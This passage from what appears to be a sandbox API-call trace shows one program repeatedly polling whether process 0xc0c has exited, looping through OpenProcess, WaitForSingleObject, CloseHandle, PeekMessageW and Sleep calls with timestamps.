(dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0259.996] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0260.011] CloseHandle (hObject=0x300) returned 1 [0260.011] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.011] Sleep (dwMilliseconds=0x1) [0260.027] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0260.027] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0260.043] CloseHandle (hObject=0x300) returned 1 [0260.043] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.043] Sleep (dwMilliseconds=0x1) [0260.058] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0260.058] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0260.073] CloseHandle (hObject=0x300) returned 1 [0260.074] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.074] Sleep (dwMilliseconds=0x1) [0260.089] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0260.089] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0260.105] CloseHandle (hObject=0x300) returned 1 [0260.105] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.105] Sleep (dwMilliseconds=0x1) [0260.120] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x300 [0260.120] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0xa) returned 0x102 [0260.137] CloseHandle (hObject=0x300) returned 1 [0260.137] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.137] Sleep (dwMilliseconds=0x1) [0260.157] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb50 [0260.157] WaitForSingleObject (hHandle=0xb50, dwMilliseconds=0xa) returned 0x102 [0260.167] CloseHandle (hObject=0xb50) returned 1 [0260.167] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.167] Sleep (dwMilliseconds=0x1) [0260.183] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb50 [0260.183] WaitForSingleObject (hHandle=0xb50, dwMilliseconds=0xa) returned 0x102 [0260.199] CloseHandle (hObject=0xb50) returned 1 [0260.199] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.199] Sleep (dwMilliseconds=0x1) [0260.216] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb50 [0260.216] WaitForSingleObject (hHandle=0xb50, dwMilliseconds=0xa) returned 0x102 [0260.230] CloseHandle (hObject=0xb50) returned 1 [0260.230] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.230] Sleep (dwMilliseconds=0x1) [0260.245] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb50 [0260.245] WaitForSingleObject (hHandle=0xb50, dwMilliseconds=0xa) returned 0x102 [0260.261] CloseHandle (hObject=0xb50) returned 1 [0260.261] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.261] Sleep (dwMilliseconds=0x1) [0260.277] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb50 [0260.277] WaitForSingleObject (hHandle=0xb50, dwMilliseconds=0xa) returned 0x102 [0260.292] CloseHandle (hObject=0xb50) returned 1 [0260.293] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.293] Sleep (dwMilliseconds=0x1) [0260.308] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.308] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.324] CloseHandle (hObject=0xb60) returned 1 [0260.324] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.324] Sleep (dwMilliseconds=0x1) [0260.339] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.339] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.359] CloseHandle (hObject=0xb60) returned 1 [0260.359] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.359] Sleep (dwMilliseconds=0x1) [0260.370] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.370] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.386] CloseHandle (hObject=0xb60) returned 1 [0260.386] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.386] Sleep (dwMilliseconds=0x1) [0260.402] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.402] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.417] CloseHandle (hObject=0xb60) returned 1 [0260.417] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.417] Sleep (dwMilliseconds=0x1) [0260.433] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.433] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.448] CloseHandle (hObject=0xb60) returned 1 [0260.448] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.449] Sleep (dwMilliseconds=0x1) [0260.464] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.464] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.480] CloseHandle (hObject=0xb60) returned 1 [0260.480] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.480] Sleep (dwMilliseconds=0x1) [0260.497] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.497] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.511] CloseHandle (hObject=0xb60) returned 1 [0260.511] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.512] Sleep (dwMilliseconds=0x1) [0260.527] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.527] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.542] CloseHandle (hObject=0xb60) returned 1 [0260.542] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.542] Sleep (dwMilliseconds=0x1) [0260.558] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.558] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.574] CloseHandle (hObject=0xb60) returned 1 [0260.574] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.574] Sleep (dwMilliseconds=0x1) [0260.589] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.589] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.605] CloseHandle (hObject=0xb60) returned 1 [0260.605] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.605] Sleep (dwMilliseconds=0x1) [0260.620] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.620] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.636] CloseHandle (hObject=0xb60) returned 1 [0260.636] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.636] Sleep (dwMilliseconds=0x1) [0260.652] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.652] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.667] CloseHandle (hObject=0xb60) returned 1 [0260.667] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.667] Sleep (dwMilliseconds=0x1) [0260.683] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.683] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.699] CloseHandle (hObject=0xb60) returned 1 [0260.699] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.699] Sleep (dwMilliseconds=0x1) [0260.714] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.714] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.740] CloseHandle (hObject=0xb60) returned 1 [0260.740] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.740] Sleep (dwMilliseconds=0x1) [0260.745] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.745] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.761] CloseHandle (hObject=0xb60) returned 1 [0260.761] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.761] Sleep (dwMilliseconds=0x1) [0260.777] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.777] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.792] CloseHandle (hObject=0xb60) returned 1 [0260.792] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.792] Sleep (dwMilliseconds=0x1) [0260.808] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.808] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.824] CloseHandle (hObject=0xb60) returned 1 [0260.824] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.824] Sleep (dwMilliseconds=0x1) [0260.839] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.839] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.855] CloseHandle (hObject=0xb60) returned 1 [0260.855] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.855] Sleep (dwMilliseconds=0x1) [0260.870] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb60 [0260.870] WaitForSingleObject (hHandle=0xb60, dwMilliseconds=0xa) returned 0x102 [0260.886] CloseHandle (hObject=0xb60) returned 1 [0260.886] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.886] Sleep (dwMilliseconds=0x1) [0260.902] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0260.902] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0260.924] CloseHandle (hObject=0xb64) returned 1 [0260.924] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.924] Sleep (dwMilliseconds=0x1) [0260.934] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0260.934] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0260.949] CloseHandle (hObject=0xb64) returned 1 [0260.949] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.949] Sleep (dwMilliseconds=0x1) [0260.964] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0260.964] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0260.980] CloseHandle (hObject=0xb64) returned 1 [0260.980] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0260.980] Sleep (dwMilliseconds=0x1) [0260.995] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0260.995] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.012] CloseHandle (hObject=0xb64) returned 1 [0261.012] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.012] Sleep (dwMilliseconds=0x1) [0261.027] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.027] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.042] CloseHandle (hObject=0xb64) returned 1 [0261.042] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.042] Sleep (dwMilliseconds=0x1) [0261.058] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.058] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.074] CloseHandle (hObject=0xb64) returned 1 [0261.074] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.074] Sleep (dwMilliseconds=0x1) [0261.089] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.089] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.105] CloseHandle (hObject=0xb64) returned 1 [0261.105] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.105] Sleep (dwMilliseconds=0x1) [0261.123] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.123] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.136] CloseHandle (hObject=0xb64) returned 1 [0261.136] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.136] Sleep (dwMilliseconds=0x1) [0261.152] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.152] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.167] CloseHandle (hObject=0xb64) returned 1 [0261.167] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.167] Sleep (dwMilliseconds=0x1) [0261.184] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.184] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.198] CloseHandle (hObject=0xb64) returned 1 [0261.199] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.199] Sleep (dwMilliseconds=0x1) [0261.214] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.214] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.230] CloseHandle (hObject=0xb64) returned 1 [0261.230] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.230] Sleep (dwMilliseconds=0x1) [0261.245] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.245] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.261] CloseHandle (hObject=0xb64) returned 1 [0261.261] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.261] Sleep (dwMilliseconds=0x1) [0261.277] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.277] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.293] CloseHandle (hObject=0xb64) returned 1 [0261.293] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.293] Sleep (dwMilliseconds=0x1) [0261.308] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.308] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.324] CloseHandle (hObject=0xb64) returned 1 [0261.324] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.324] Sleep (dwMilliseconds=0x1) [0261.339] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.339] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.355] CloseHandle (hObject=0xb64) returned 1 [0261.355] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.355] Sleep (dwMilliseconds=0x1) [0261.370] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.370] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.386] CloseHandle (hObject=0xb64) returned 1 [0261.386] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.386] Sleep (dwMilliseconds=0x1) [0261.402] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.402] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.420] CloseHandle (hObject=0xb64) returned 1 [0261.420] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.420] Sleep (dwMilliseconds=0x1) [0261.433] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.433] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.449] CloseHandle (hObject=0xb64) returned 1 [0261.449] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.449] Sleep (dwMilliseconds=0x1) [0261.464] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.464] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.480] CloseHandle (hObject=0xb64) returned 1 [0261.480] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.480] Sleep (dwMilliseconds=0x1) [0261.495] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.495] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.511] CloseHandle (hObject=0xb64) returned 1 [0261.511] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.511] Sleep (dwMilliseconds=0x1) [0261.527] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.527] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.542] CloseHandle (hObject=0xb64) returned 1 [0261.542] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.542] Sleep (dwMilliseconds=0x1) [0261.558] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.558] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.573] CloseHandle (hObject=0xb64) returned 1 [0261.574] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.574] Sleep (dwMilliseconds=0x1) [0261.589] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.589] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.605] CloseHandle (hObject=0xb64) returned 1 [0261.605] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.605] Sleep (dwMilliseconds=0x1) [0261.621] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.621] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.636] CloseHandle (hObject=0xb64) returned 1 [0261.636] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.636] Sleep (dwMilliseconds=0x1) [0261.652] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.652] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.668] CloseHandle (hObject=0xb64) returned 1 [0261.668] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.668] Sleep (dwMilliseconds=0x1) [0261.683] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.684] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.705] CloseHandle (hObject=0xb64) returned 1 [0261.705] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.705] Sleep (dwMilliseconds=0x1) [0261.714] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.714] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.745] CloseHandle (hObject=0xb64) returned 1 [0261.745] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.745] Sleep (dwMilliseconds=0x1) [0261.761] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.761] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.777] CloseHandle (hObject=0xb64) returned 1 [0261.777] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.777] Sleep (dwMilliseconds=0x1) [0261.792] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.792] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.810] CloseHandle (hObject=0xb64) returned 1 [0261.810] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0261.810] Sleep (dwMilliseconds=0x1) [0261.823] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0xb64 [0261.823] WaitForSingleObject (hHandle=0xb64, dwMilliseconds=0xa) returned 0x102 [0261.839] CloseHandle (hObject=0xb64) returned 1 [0261.839] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, 